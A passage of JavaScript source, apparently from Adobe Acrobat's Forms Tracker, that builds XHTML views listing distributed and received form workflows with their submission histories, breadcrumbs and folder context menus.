				    showSubmittedFormsItemView: function(dialog, feed)

				    {

					    try

					    {

						    var L = function(s) { return getString(s); }

						    var LINK = function(scheme, s) 

							    { return scheme + ":" + s; }



						    var selection = dialog.getSelection();

						    var extension = selection.Extension;

    						

						    var cFormWorkflowID = extension[fwDocID];



						    if(this.currentFormWorkflow.cFormWorkflowID != cFormWorkflowID)

						    {

							    this.currentFormWorkflow.cFormWorkflowID = cFormWorkflowID;



							    app.beginPriv();

							    this.currentFormWorkflow.oFormWorkflowInfo = FormWorkflow.getFormWorkflowInfo(cFormWorkflowID);

							    app.endPriv();

						    }



						    var formsWorkflowInfo = this.currentFormWorkflow.oFormWorkflowInfo;



						    var cFormWorkflowMethod = extension[fwMethod];

						    var bIsSharedForm = (cFormWorkflowMethod == "SharedForm");

						    var cVisibleSharedForm = bIsSharedForm ? "" : "display: none;"; 



						    var aSubmissions = [];

    						

						    var oSubmissions = formsWorkflowInfo.oSubmissions;



						    //Submit Status Strings						

						    var oSubmitStatus =

						    {

							    "Successful": getString("IDS_FORMS_TRACKER_STATUS_SUCCESSFUL"),

							    "Pending": getString("IDS_FORMS_TRACKER_STATUS_PENDING"),

							    "Failed": getString("IDS_FORMS_TRACKER_STATUS_FAILED"),

						    };



						    for(var i = 0; i < oSubmissions.length; i++)

						    {

							    //get the info of submissions that is to be shown in the submit history table



							    aSubmissions[aSubmissions.length] = 

							    {

								    cSubmitDateTime: oSubmissions[i].cSubmitDateTime,

								    nSubmitDateTime: oSubmissions[i].nSubmitDateTime,

								    cStatus: oSubmitStatus[oSubmissions[i].cStatus],

							    };

						    }



						    var cFormWorkflowFileName = selection.Title;

						    var cViewFormLink = LINK("acrobat", "Forms?action=openForm&workflow=" + cFormWorkflowID);



						    var cFormWorkflowFilePath = formsWorkflowInfo.cFormLocation;

    						

						    var bFormWorkflowIsSuspended = false;

						    var cFormWorkflowState = this.oWorkflowState[formsWorkflowInfo.cState];

						    if(bIsSharedForm)

						    {

							    bFormWorkflowIsSuspended = formsWorkflowInfo.bIsSuspended;

							    if(bFormWorkflowIsSuspended)

								    cFormWorkflowState = this.oWorkflowState["Suspended"];

						    }

						    var cVisibleResume = (bFormWorkflowIsSuspended == false) ? "display: none;" : "";

						    var cFormWorkflowResumeLink = LINK("acrobat", "Forms?action=restart&workflow=" + cFormWorkflowID);

    						

						    var cFormWorkflowsFileState = formsWorkflowInfo.cStateAsPerWorkflowsFile;



						    var bDataCollectionEnded = (cFormWorkflowsFileState == FORM_STATE_ENDED || cFormWorkflowState == FORM_STATE_ENDED) ? true : false;



							var cPDFIconForForm = (bIsSharedForm && bDataCollectionEnded) ? "ended-iconic" : "pdf-iconic";



						    var cFormWorkflowError = "";

						    if(bIsSharedForm)

							    cFormWorkflowError = formsWorkflowInfo.cError;

						    //display error only for Shared Form having error

						    var cVisibleError = (!bIsSharedForm || cFormWorkflowError == "") ? "display: none;" : "";



						    if(cFormWorkflowError == "")

							    cFormWorkflowError = this.nbsp_placeholder;//else the span tag is reduced to null leading to everything getting red



						    var cFormWorkflowHost = formsWorkflowInfo.cFormHost;

						    var cReceivedOn = formsWorkflowInfo.cReceivedOn;



							var cSentRecvdUsingServer = this.cSentUsing;

							cSentRecvdUsingServer = cSentRecvdUsingServer.replace("%dateTimeSentRecvd%", cReceivedOn); 

							if(bIsSharedForm)

								cSentRecvdUsingServer = cSentRecvdUsingServer.replace("%serverName%", cFormWorkflowHost);

							else

								cSentRecvdUsingServer = cSentRecvdUsingServer.replace("%serverName%", this.cEmailAttachment);



						    var cLastOpenedOn = formsWorkflowInfo.cLastOpenedOn;

    						

						    var cEmailInitiatorLink = LINK("acrobat", "Forms?action=emailInitiator&workflow=" + cFormWorkflowID);



						    XML.setSettings({ignoreComments: false});



						    var group = extension[fwFolder];



						    var cTopArrowXHTML;

						    var cSentRecvd = (feed.URL == cFormsIveSentURL) ? this.cIveSent : this.cIveReceived;

						    var cSentRecvdLink = (feed.URL == cFormsIveSentURL) ? cFormsIveSentFeedLink : cFormsIveReceivedFeedLink;



						    var cFormName = selection.Title;



						    //if group is not selected, then "Forms > I've Sent > filename"

						    if(group == undefined)

						    {

							    cTopArrowXHTML =

								    <div class="bread_crumb">

									    <a class="blueLink" href={cFormsSuperGroupLink}>{this.cFormsSuperGroup}</a> > <a class="blueLink" href={cSentRecvdLink}>{cSentRecvd}</a> > {cFormName}

								    </div>

						    }

						    //there is a group(folder) as well

						    else

						    {

								var cGroupLink = "acrobat:Inbox?gotoLevel=1";

							    cTopArrowXHTML =

								    <div class="bread_crumb">

									    <a class="blueLink" href={cFormsSuperGroupLink}>{this.cFormsSuperGroup}</a> > <a class="blueLink" href={cSentRecvdLink}>{cSentRecvd}</a> > <a class="blueLink" href={cGroupLink} style="unicode-bidi: embed;">{group}</a> > {cFormName}

								    </div>

						    }

						    

						    var cVisibleSubmissionHistoryTable = (aSubmissions.length == 0) ? "display: none;" : "";

						    var cVisibleNoSubmissionHistory = (aSubmissions.length == 0) ? "margin-left: 5px;" : "display: none; margin-left: 5px;";



						    var viewXHTML = 

							    <html xmlns="http://www.w3.org/1999/xhtml">

								    <head>

									    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>

									    <link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>

								    </head>

    							

								    <body id="body">

									    <div id="pg_sent_details" style="margin-left: 35px;">

										    <br />

										    <div class="buttons">

											    <a title={cFormWorkflowFilePath} href={cViewFormLink} class={cPDFIconForForm}><span style="color: blue; text-decoration: underline; font-weight: bold; font-size: 12;">{this.cViewFormButtonLabel}</span></a>

										    </div>

										    

										    <br />



										    <div style="margin-left: -6px;">

												<table class="definitionListTableSmall">

													<tr>

														<th><span class="dontWrap">{this.cDefListFormLocationProp}</span></th>

														<td><a style="color:#0000FF;" href={cViewFormLink}>{cFormWorkflowFilePath}</a></td>

													</tr>

													<tr style={cVisibleError}>

														<th>{this.nbsp_placeholder}</th>

														<td><img style="vertical-align:middle; margin-right: 6px;" src="AdobeTracker/warning.gif" /><span style="color:red;">{cFormWorkflowError}</span></td>

													</tr>

													<tr>

														<th><span class="dontWrap">{this.cDefListReceivedOnProp}</span></th>

														<td><span class="dontWrap">{cSentRecvdUsingServer}</span></td>

													</tr>

													<tr>

														<th><span class="dontWrap">{this.cDefListLastOpenedOnProp}</span></th>

														<td><span class="dontWrap">{cLastOpenedOn}</span></td>

													</tr>

												</table>

										    </div>

    									

										    <div class="dottedLine">{this.nbsp_placeholder}</div>

	

										    <br />

	

										    <div class="buttons">

											    <span class="submission-history-iconic" style="font-weight:bold; font-size:12;">{this.cSubmissionHistoryLabel}</span>

										    </div>

	

										    <br />



										    <div class="buttons">

											    <a style="color:#0000FF;" href={cEmailInitiatorLink} class="email-initiator-iconic"><span class="blueLink">{this.cEmailInitiator}</span></a>

										    </div>

    										

										    <br />

									    </div>



										<div class="borderedDivDetailPage">

										    <table style={cVisibleSubmissionHistoryTable} id="submitHistory" class="borderedTable" cellpadding="15" cellspacing="0">

											    <tr bgcolor={cTableHeaderColor}>

												    <th>{this.cTableHeaderSubmittedDateTime}</th>

												    <th style={cVisibleSharedForm}>{this.cTableHeaderStatus}</th>

											    </tr>

										    </table>



										    <div style={cVisibleNoSubmissionHistory}>

											    {this.cNoSubmissionHistory}<br />

										    </div>

									    </div>

    							

								    </body>

							    </html>



						    //get the reference to BODY with ID "body"

						    var body = null;

    						

						    var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

						    for each(var i in viewXHTML..xhtml::body)

						    {

							    if(i.@id == "body")

							    {

								    //myFormsTrackerDebugAlert("body found");

								    body = i;

								    break;

							    }

						    }

						    //

    						

						    body.prependChild(cTopArrowXHTML);//prepend the Top Arrow XHTML as a child of body



						    //get the reference to TABLE with ID "submitHistory"

						    var tableXHTML = null;

    						

						    var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

						    for each(var i in viewXHTML..xhtml::table)

						    {

							    if(i.@id == "submitHistory")

							    {

								    //myFormsTrackerDebugAlert("submitHistory found");

								    tableXHTML = i;

								    break;

							    }

						    }

						    //



						    //sort submissions based on time

						    for(var current = 1; current < aSubmissions.length; current++)

						    {

							    //save the current value

							    var curVal = aSubmissions[current];

							    //

    		

							    var trav = current - 1;

							    for(; trav >= 0; trav--)

							    {

								    //check if aSubmissions[trav] < curVal

								    if(aSubmissions[trav].nSubmitDateTime < curVal.nSubmitDateTime)

									    aSubmissions[trav + 1] = aSubmissions[trav];

								    else//if(aSubmissions[trav] >= curVal)

									    break;

							    }

    		

							    if((trav + 1) != current)

								    aSubmissions[trav + 1] = curVal;

						    }

						    //



						    var evenOddRow = false;



						    //for all the recipients in this workflow, create a row <tr> and insert into tableXHTML

						    for(var index = 0; index < aSubmissions.length; index++)

						    {

							    var curSubmit = aSubmissions[index];



							    //create color string

							    evenOddRow = !evenOddRow;

							    var cRowColor = evenOddRow ? cTableOddRowColor : cTableEvenRowColor;



							    var recipientXHTML =

								    <tr bgcolor={cRowColor}>

									    <td style="padding-left: 10px;">{curSubmit.cSubmitDateTime}</td>

									    <td style={cVisibleSharedForm}>{curSubmit.cStatus}</td>

								    </tr>

							    tableXHTML.appendChild(recipientXHTML);

						    }



							var stm = util.streamFromString(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"), "utf-8");

							app.beginPriv();

							Collab.saveTrackerHTML(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"));

							app.endPriv();

						    dialog.load({"html": stm});

					    }

					    catch(e)

					    {

						    console.println("EXCEPTION: " + e);

						    console.println(e.stack);

						    myFormsTrackerDebugAlert("EXCEPTION: " + e);

						    myFormsTrackerDebugAlert(e.stack);

					    }

				    },



				    showItemView: function(dialog)

				    {

					    try

					    {

						    var feed = dialog.getFeed();



						    //am i the distributor or a recipient

						    var selection = dialog.getSelection();

						    var extension = selection.Extension;

						    var isInitiated = extension[fwIsInitiated];



						    if(isInitiated)

							    this.showMyFormsItemView(dialog, feed);

						    else

							    this.showSubmittedFormsItemView(dialog, feed);

					    }

					    catch(e)

					    {

						    console.println("EXCEPTION: " + e);

						    console.println(e.stack);

						    myFormsTrackerDebugAlert("EXCEPTION: " + e);

						    myFormsTrackerDebugAlert(e.stack);

					    }

				    },



				    showMyFormsFeedView: function(dialog, feed)

				    {

					    try

					    {

						    var LINK = function(scheme, s) { return scheme + ":" + s; }



						    var extension = feed.Extension;

						    var items = feed.Items;

						    var group;



						    XML.setSettings({ignoreComments: false});



						    if(dialog.isGroupSelection())

							    group = dialog.getSelection("Group");



							//free up the old formworkflowinfo objects

							if(this.currentFormWorkflowsInFeed.aFormWorkflowInfo)

							{

								for(var i = 0; i < this.currentFormWorkflowsInFeed.aFormWorkflowInfo.length; i++)

									this.currentFormWorkflowsInFeed.aFormWorkflowInfo[i] = null;

							}



							this.currentFormWorkflowsInFeed.aFormWorkflowInfo = new Array();



						    var aFormsWorkflowList = [];

    						

						    for(var i in items)

						    {

							    var item = items[i];

							    var docID = item.Extension[fwDocID];							



							    // Filter by group and hidden

							    if(item.Extension[inboxHidden]) continue;

							    if(group != undefined && item.Extension[fwFolder] != group) continue;

    							

							    var formsWorkflowInfo = null;

							    app.beginPriv();

							    formsWorkflowInfo = FormWorkflow.getFormWorkflowInfo(docID);

							    app.endPriv();



								if(formsWorkflowInfo == null)

									continue;



							    this.currentFormWorkflowsInFeed.aFormWorkflowInfo.push(formsWorkflowInfo);

							    

							    var bIsSharedForm = (item.Extension[fwMethod] == "SharedForm");



							    var nResponded = 0;

    							

							    var oRecipients = formsWorkflowInfo.oRecipients;

							    var nTotalResponses = 0;

							    for(var i in oRecipients)

								{

								    if(oRecipients[i].nResponses > 0)

									{

										nTotalResponses += oRecipients[i].nResponses;

									    nResponded++;

									}

								}



							    var nNewResponses = bIsSharedForm ? formsWorkflowInfo.nNewResponses : 0;

	

							    var cRecipientsResponded;

							if(formsWorkflowInfo.bAllowAnonymous)

								cRecipientsResponded = "" + nTotalResponses;

							else

								cRecipientsResponded = "" + nResponded;

							    if(bIsSharedForm)

								    cRecipientsResponded += " (" + nNewResponses + ")";



							    aFormsWorkflowList[aFormsWorkflowList.length] =

							    {							

								    cFileName: item.Title,

								    cFileLink: LINK("acrobat", "Inbox?container=" + ftNS + "&selectFeed=" + feed.URL + "#" + item.Guid),

								    cFormWorkflowType: item.Extension[fwMethod],

								    cDistributedOn: formsWorkflowInfo.cDistributedOn,

								    nDistributedOn: formsWorkflowInfo.nDistributedOn,



									cRecipientsResponded: cRecipientsResponded,

								    nRecipients: formsWorkflowInfo.nRecipients,

							    }

						    }



						    var cSentRecvd = (feed.URL == cFormsIveSentURL) ? this.cIveSent : this.cIveReceived;

						    var cSentRecvdLink = (feed.URL == cFormsIveSentURL) ? cFormsIveSentFeedLink : cFormsIveReceivedFeedLink;



							var cNoFormsInFeed;

							if(group)

								cNoFormsInFeed = this.cNoFormsInFolder;

							else

								cNoFormsInFeed = (feed.URL == cFormsIveSentURL) ? this.cNoDistributedForms : this.cNoReceivedForms;



						    var viewXHTML;



						    if(aFormsWorkflowList.length == 0)

						    {

							    viewXHTML = 

								    <html xmlns="http://www.w3.org/1999/xhtml">

									    <head>

										    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

										    <link href="AdobeTracker/main.css" rel="stylesheet" type="text/css" />

									    </head>

    								

									    <body id="body">

										    <div class="summary_page">

										    	<span class="forms-distributed-iconic"><span style="font-weight:bold;">{cSentRecvd}</span></span>

											    <br />

											    <br />

											    <span>

												    &#8226; {cNoFormsInFeed}

											    </span>

											    <br />

										    </div>

									    </body>

								    </html>

						    }

						    else

						    {

							    viewXHTML = 

								    <html xmlns="http://www.w3.org/1999/xhtml">

									    <head>

										    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

										    <link href="AdobeTracker/main.css" rel="stylesheet" type="text/css" />

									    </head>

    								

									    <body id="body">

										    <div>

											    <div id="mainDiv" class="summary_page">

											    	<span class="forms-distributed-iconic"><span style="font-weight:bold;">{cSentRecvd}</span></span>

												    <br />

												    <br />

													<div class="borderedDivSummaryPage" id="borderedDivID">

												    </div>

											    </div>

										    </div>

									    </body>

								    </html>

						    }



						    var cTopArrowXHTML;

    						

						    //if group is not selected, then "Forms > I've Sent"

						    if(group == undefined)

						    {

							    cTopArrowXHTML =

								    <div class="bread_crumb">

									    <a href={cFormsSuperGroupLink}><span class="blueLink">{this.cFormsSuperGroup}</span></a> > {cSentRecvd}

								    </div>

						    }

						    //there is a group(folder) as well

						    else

						    {

							    cTopArrowXHTML =

								    <div class="bread_crumb">

									    <a href={cFormsSuperGroupLink}><span class="blueLink">{this.cFormsSuperGroup}</span></a> > <a href={cSentRecvdLink}><span class="blueLink">{cSentRecvd}</span></a> > {group}

								    </div>

						    }



						    //get the reference to BODY with ID "body"

						    var body = null;

    						

						    var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

						    for each(var i in viewXHTML..xhtml::body)

						    {

							    if(i.@id == "body")

							    {

								    body = i;

								    break;

							    }

						    }

						    //

    						

						    //prepend the Top Arrow XHTML as a child of body

						    body.prependChild(cTopArrowXHTML);



						    //create the table only if there are workflows

						    if(aFormsWorkflowList.length > 0)

						    {

							    //get the reference to DIV with ID "mainDiv"

							    var borderedDiv = null;

    							

							    var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

							    for each(var i in viewXHTML..xhtml::div)

							    {

								    if(i.@id == "borderedDivID")

								    {

									    borderedDiv = i;

									    break;

								    }

							    }

							    //

    							

							    //create a table and add as child of mainDiv

							    var tableXHTML =

								    <table class="borderedTable" cellpadding="15" cellspacing="0">

									    <tr bgcolor={cTableHeaderColor}>

										    <th style="padding-left: 10px;">{this.cTableHeaderFileName}</th>

										    <th>{this.cTableHeaderDistributedOn}</th>

										    <th><center>{this.cTableHeaderRespondentsAndNew}</center></th>

										    <th><center>{this.cTableHeaderTotalRecipients}</center></th>

									    </tr>

								    </table>

							    //



							    borderedDiv.appendChild(tableXHTML);



							    //sort forms based on Sent time

							    for(var current = 1; current < aFormsWorkflowList.length; current++)

							    {

								    //save the current value

								    var curVal = aFormsWorkflowList[current];

								    //

    			

								    var trav = current - 1;

								    for(; trav >= 0; trav--)

								    {

									    //check if aFormsWorkflowList[trav] < curVal

									    if(aFormsWorkflowList[trav].nDistributedOn < curVal.nDistributedOn)

										    aFormsWorkflowList[trav + 1] = aFormsWorkflowList[trav];

									    else//if(aFormsWorkflowList[trav] >= curVal)

										    break;

								    }

    			

								    if((trav + 1) != current)

									    aFormsWorkflowList[trav + 1] = curVal;

							    }

							    //



							    var evenOddRow = false;

    							

							    //for all the Forms in this Feed, create a row <tr> and insert into tableXHTML

							    for(var formIndex = 0; formIndex < aFormsWorkflowList.length; formIndex++)

							    {

								    var curForm = aFormsWorkflowList[formIndex];



								    //create color string

								    evenOddRow = !evenOddRow;

								    var cRowColor = evenOddRow ? cTableOddRowColor : cTableEvenRowColor;



								    var formXHTML =

									    <tr bgcolor={cRowColor}>

										    <td style="padding-left: 10px;"><a href={curForm.cFileLink}><span class="blueLink">{curForm.cFileName}</span></a></td>

										    <td>{curForm.cDistributedOn}</td>

										    <td><center>{curForm.cRecipientsResponded}</center></td>

										    <td><center>{curForm.nRecipients}</center></td>

									    </tr>

								    tableXHTML.appendChild(formXHTML);

							    }

						    }



						    var stm = util.streamFromString(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"), "utf-8");

						    dialog.load({"html": stm});

					    }

					    catch(e)

					    {

						    console.println("EXCEPTION: " + e);

						    console.println(e.stack);

						    myFormsTrackerDebugAlert("EXCEPTION: " + e);

						    myFormsTrackerDebugAlert(e.stack);

					    }

				    },



				    showSubmittedFormsFeedView: function(dialog, feed)

				    {

					    try

					    {

						    var LINK = function(scheme, s) { return scheme + ":" + s; }



						    var extension = feed.Extension;

						    var items = feed.Items;

						    var group;



						    XML.setSettings({ignoreComments: false});



						    if(dialog.isGroupSelection())

							    group = dialog.getSelection("Group");



							//free up the old formworkflowinfo objects

							if(this.currentFormWorkflowsInFeed.aFormWorkflowInfo)

							{

								for(var i = 0; i < this.currentFormWorkflowsInFeed.aFormWorkflowInfo.length; i++)

									this.currentFormWorkflowsInFeed.aFormWorkflowInfo[i] = null;

							}



							this.currentFormWorkflowsInFeed.aFormWorkflowInfo = new Array();



						    var aFormsWorkflowList = [];



						    for(var i in items)

						    {

							    var item = items[i];

							    var docID = item.Extension[fwDocID];							



							    // Filter by group and hidden

							    if(item.Extension[inboxHidden]) continue;

							    if(group != undefined && item.Extension[fwFolder] != group) continue;



							    var formsWorkflowInfo = null;

							    app.beginPriv();

							    formsWorkflowInfo = FormWorkflow.getFormWorkflowInfo(docID);

							    app.endPriv();



								if(formsWorkflowInfo == null)

									continue;



							    this.currentFormWorkflowsInFeed.aFormWorkflowInfo.push(formsWorkflowInfo);



							    aFormsWorkflowList[aFormsWorkflowList.length] =

							    {

								    cFileName: item.Title,

								    cFileLink: LINK("acrobat", "Inbox?container=" + ftNS + "&selectFeed=" + feed.URL + "#" + item.Guid),

								    cFormWorkflowType: item.Extension[fwMethod],

								    cLastSubmittedOn: formsWorkflowInfo.cLastSubmittedOn,

								    nReceivedOn: formsWorkflowInfo.nReceivedOn,

							    }

						    }

						    var cSentRecvd = (feed.URL == cFormsIveSentURL) ? this.cIveSent : this.cIveReceived;

						    var cSentRecvdLink = (feed.URL == cFormsIveSentURL) ? cFormsIveSentFeedLink : cFormsIveReceivedFeedLink;



							var cNoFormsInFeed;

							if(group)

								cNoFormsInFeed = this.cNoFormsInFolder;

							else

								cNoFormsInFeed = (feed.URL == cFormsIveSentURL) ? this.cNoDistributedForms : this.cNoReceivedForms;



						    var viewXHTML;



						    if(aFormsWorkflowList.length == 0)

						    {

							    viewXHTML = 

								    <html xmlns="http://www.w3.org/1999/xhtml">

									    <head>

										    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

										    <link href="AdobeTracker/main.css" rel="stylesheet" type="text/css" />

									    </head>

    								

									    <body id="body">

										    <div>

											    <div class="summary_page">

											    	<span class="forms-received-iconic"><span style="font-weight:bold;">{cSentRecvd}</span></span>

												    <br />

												    <br />

												    <span>

													    &#8226; {cNoFormsInFeed}

												    </span>

												    <br />

											    </div>

										    </div>

									    </body>

								    </html>

						    }

						    else

						    {

							    viewXHTML = 

								    <html xmlns="http://www.w3.org/1999/xhtml">

									    <head>

										    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

										    <link href="AdobeTracker/main.css" rel="stylesheet" type="text/css" />

									    </head>

    								

									    <body id="body">

										    <div id="mainDiv" class="summary_page">

										    	<span class="forms-received-iconic"><span style="font-weight:bold;">{cSentRecvd}</span></span>

											    <br />

											    <br />

												<div class="borderedDivSummaryPage" id="borderedDivID">

											    </div>

										    </div>

									    </body>

								    </html>

						    }



						    var cTopArrowXHTML;

    						

						    //if group is not selected, then "Forms > I've Sent"

						    if(group == undefined)

						    {

							    cTopArrowXHTML =

								    <div class="bread_crumb">

									    <a href={cFormsSuperGroupLink}><span class="blueLink">{this.cFormsSuperGroup}</span></a> > {cSentRecvd}

								    </div>

						    }

						    //there is a group(folder) as well

						    else

						    {

							    cTopArrowXHTML =

								    <div class="bread_crumb">

									    <a href={cFormsSuperGroupLink}><span class="blueLink">{this.cFormsSuperGroup}</span></a> > <a href={cSentRecvdLink}><span class="blueLink">{cSentRecvd}</span></a> > {group}

								    </div>

						    }



						    //get the reference to BODY with ID "body"

						    var body = null;

    						

						    var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

						    for each(var i in viewXHTML..xhtml::body)

						    {

							    if(i.@id == "body")

							    {

								    body = i;

								    break;

							    }

						    }

						    //

    						

						    body.prependChild(cTopArrowXHTML);//prepend the Top Arrow XHTML as a child of body



						    //create the table only if there are workflows

						    if(aFormsWorkflowList.length > 0)

						    {

							    //get the reference to DIV with ID "mainDiv"

							    var borderedDiv = null;

    							

							    var xhtml = new Namespace("http://www.w3.org/1999/xhtml");

							    for each(var i in viewXHTML..xhtml::div)

							    {

								    if(i.@id == "borderedDivID")

								    {

									    borderedDiv = i;

									    break;

								    }

							    }

							    //

    							

							    //create a table and add as child of mainDiv

							    var tableXHTML =

								    <table class="borderedTable" cellpadding="15" cellspacing="0">

									    <tr bgcolor={cTableHeaderColor}>

										    <th style="padding-left: 10px;">{this.cTableHeaderFileName}</th>

										    <th>{this.cTableHeaderLastSubmittedOn}</th>

									    </tr>

								    </table>

							    //

    							

							    borderedDiv.appendChild(tableXHTML);



							    //sort forms based on Received time

							    for(var current = 1; current < aFormsWorkflowList.length; current++)

							    {

								    //save the current value

								    var curVal = aFormsWorkflowList[current];

								    //

    			

								    var trav = current - 1;

								    for(; trav >= 0; trav--)

								    {

									    //check if aFormsWorkflowList[trav] < curVal

									    if(aFormsWorkflowList[trav].nReceivedOn < curVal.nReceivedOn)

										    aFormsWorkflowList[trav + 1] = aFormsWorkflowList[trav];

									    else//if(aFormsWorkflowList[trav] >= curVal)

										    break;

								    }

    			

								    if((trav + 1) != current)

									    aFormsWorkflowList[trav + 1] = curVal;

							    }

							    //



							    var evenOddRow = false;

    							

							    //for all the Forms in this Feed, create a row <tr> and insert into tableXHTML

							    for(var formIndex = 0; formIndex < aFormsWorkflowList.length; formIndex++)

							    {

								    var curForm = aFormsWorkflowList[formIndex];



								    //create color string

								    evenOddRow = !evenOddRow;

								    var cRowColor = evenOddRow ? cTableOddRowColor : cTableEvenRowColor;



								    var formXHTML =

									    <tr bgcolor={cRowColor}>

										    <td style="padding-left: 10px;"><a href={curForm.cFileLink}><span class="blueLink">{curForm.cFileName}</span></a></td>

										    <td>{curForm.cLastSubmittedOn}</td>

									    </tr>

								    tableXHTML.appendChild(formXHTML);

							    }

						    }



						    var stm = util.streamFromString(viewXHTML.toXMLString().replace(/NBSP_PLACEHOLDER/g, "&nbsp;"), "utf-8");

						    dialog.load({"html": stm});

					    }

					    catch(e)

					    {

						    console.println("EXCEPTION: " + e);

						    console.println(e.stack);

						    myFormsTrackerDebugAlert("EXCEPTION: " + e);

						    myFormsTrackerDebugAlert(e.stack);

					    }

				    },



				    showFeedView: function(dialog, feed)

				    {

					    try

					    {

						    if(feed.URL == cFormsIveSentURL)

							    this.showMyFormsFeedView(dialog, feed);

						    else

							    this.showSubmittedFormsFeedView(dialog, feed);

					    }

					    catch(e)

					    {

						    console.println("EXCEPTION: " + e);

						    console.println(e.stack);

						    myFormsTrackerDebugAlert("EXCEPTION: " + e);

						    myFormsTrackerDebugAlert(e.stack);

					    }

				    },



				    //OK

				    onSelectionChanged: function(dialog)

				    {

					    var myFormsURN = "urn://ns.adobe.com/Acrobat/Tracker/FormsTracker/MyForms.rss"



					    try

					    {

						    if(dialog.isItemSelection()) 

							    this.showItemView(dialog);

						    else if(dialog.isFeedSelection() || dialog.isGroupSelection())

						    {

							    var feed = dialog.getFeed();

							    this.showFeedView(dialog, feed);

						    }

					    }

					    catch(e)

					    {

						    console.println("EXCEPTION: " + e);

						    console.println(e.stack);

						    myFormsTrackerDebugAlert("EXCEPTION: " + e);

						    myFormsTrackerDebugAlert(e.stack);

					    }

				    },



				    //OK

				    handleLink: function(dialog, url)

				    {

					    if(url.indexOf("acrobat:internal?") == 0)

					    {

						    var params = url.split("?")[1].split("&");

						    for(var i in params)

						    {

							    var a = params[i].split("=");

							    switch(a[0])

							    {

								    case "mailto":

									    app.mailMsg({bUI: true, cTo: unescape(a[1])});

									    break;

							    }

						    }

					    }

				    },



				    // The Dialog Description

				    description:

				    {

					    name: "Panel",

					    elements:					// Child Element Array

					    [

						    {

							    type: "view", 

							    align: "align_center",

							    align_children: "fill",

							    elements: 						// Child Element Array

							    [

								    {

									    type: "html_view", 

									    item_id: "html"

								    }

							    ]

						    }

					    ]

				    },

			    };



			    app.beginPriv();

			    result.showItemView = app.trustedFunction(result.showItemView);

			    result.showFeedView = app.trustedFunction(result.showFeedView);

			    result.showMyFormsFeedView = app.trustedFunction(result.showMyFormsFeedView);

			    result.showSubmittedFormsFeedView = app.trustedFunction(result.showSubmittedFormsFeedView);

			    result.showMyFormsItemView = app.trustedFunction(result.showMyFormsItemView);

			    result.showSubmittedFormsItemView = app.trustedFunction(result.showSubmittedFormsItemView);

			    app.endPriv();

			    return result;

		    }),



		    getGroupContextMenu: function(selection)

		    {

			    var result = new Array;

    			

			    result[result.length] = 

			    {

				    cName: "Expand",

				    cDisplayName: AnnotsString.IDS_PANEL_EXPAND,

				    onExecute: function(selection, doc)

				    {

					    TrackerExpandSelection();

				    },

    				

				    onEnabled: function(selection, doc)

				    {

					    return TrackerCanExpandSelection(selection.feed.URL);

				    }

			    };



			    result[result.length] = 

			    {

				    cName: "Collapse",

				    cDisplayName: AnnotsString.IDS_PANEL_COLLAPSE,

				    onExecute: function(selection, doc)

				    {

					    TrackerCollapseSelection();

				    },

    				

				    onEnabled: function(selection, doc)

				    {

					    return TrackerCanCollapseSelection(selection.feed.URL);

				    }

			    };



			    result[result.length] = { bSeparator: true }; 



			    result[result.length] = 

			    {

				    cName: "Remove",

				    cDisplayName: AnnotsString.IDS_REVIEW_PANEL_REMOVE_FOLDER,

				    onExecute: function(selection, doc)

				    {

					    FormsTrackerRemoveFolder(selection.feed.URL, this.group);

				    },

				    group: selection.group

			    };

    			

			    return result;

		    },



		    getFeedTip: function(selection)

		    {

			    return selection.feed.Description;

		    },



		    getItemTip: function(selection)

		    {

				//check if we are the initiator

				var bIsInitiated = selection.item.Extension[fwIsInitiated];



			    var formWorkflowType = bIsInitiated ? getString("IDS_FORMS_TRACKER_DISTRIBUTED_FORM_OF") : getString("IDS_FORMS_TRACKER_RECEIVED_FORM_OF");



			    var item = selection.item;



			    var title = item.Title;

			    return formWorkflowType.replace(/{title}/, title);

		    },



		    getGroupTip: function(selection)

		    {

				//check if we are the initiator

				var bIsInitiated = (selection.feed.URL == cFormsIveSentURL) ? true : false;

	

				if(bIsInitiated)

					return getString("IDS_FORMS_TRACKER_MY_FORMS_DESC");

				else

					return getString("IDS_FORMS_TRACKER_PARTICIPANT_FORMS_DESC");

		    },



		    getFeedContextMenu: function(selection)

		    {

			    var result = new Array;

    			

			    result[result.length] = 

			    {

				    cName: "Expand",

				    cDisplayName: AnnotsString.IDS_PANEL_EXPAND,

				    onExecute: function(selection, doc)

				    {

					    TrackerExpandSelection();

				    },

    				

				    onEnabled: function(selection, doc)

				    {

					    return TrackerCanExpandSelection(selection.feed.URL);

				    }

			    };



			    result[result.length] = 

			    {

				    cName: "Collapse",

				    cDisplayName: AnnotsString.IDS_PANEL_COLLAPSE,

				    onExecute: function(selection, doc)

				    {

					    TrackerCollapseSelection();

				    },

    				

				    onEnabled: function(selection, doc)

				    {

					    return TrackerCanCollapseSelection(selection.feed.URL);

				    }

			    };



			    result[result.length] = { bSeparator: true }; 



			    result[result.length] = 

			    {

				    cName: "CreateNewFolder",

				    cDisplayName: AnnotsString.IDS_REVIEW_PANEL_CREATE_NEW_FOLDER,

				    onExecute: function(selection, doc)

				    {

					    var url = selection.feed.URL;

					    FormsTrackerAddNewFolder(url);

				    },

			    };

    			

			    return result;

		    },



		    getMultipleSelectContextMenu: app.trustedFunction(function(selection)

		    {

			    var result = new Array;



			    result[result.length] = 

			    {

				    cName: "Remove",

				    cDisplayName: AnnotsString.IDS_REVIEW_PANEL_REMOVE_MULTIPLE_SELECTED,

				    onExecute: function(selection, doc)

				    {

				    	var bIsInitiated = (selection[0].feed.URL == cFormsIveSentURL) ? true : false;

				    	

						var bHasEBF = false;



						if(bIsInitiated)

						{

							//check if there is any EBF in the selected items

							for(var i = 0; i < selection.length; i++)

							{

								var type = selection[i].type;

								

								if(type == "item")

								{
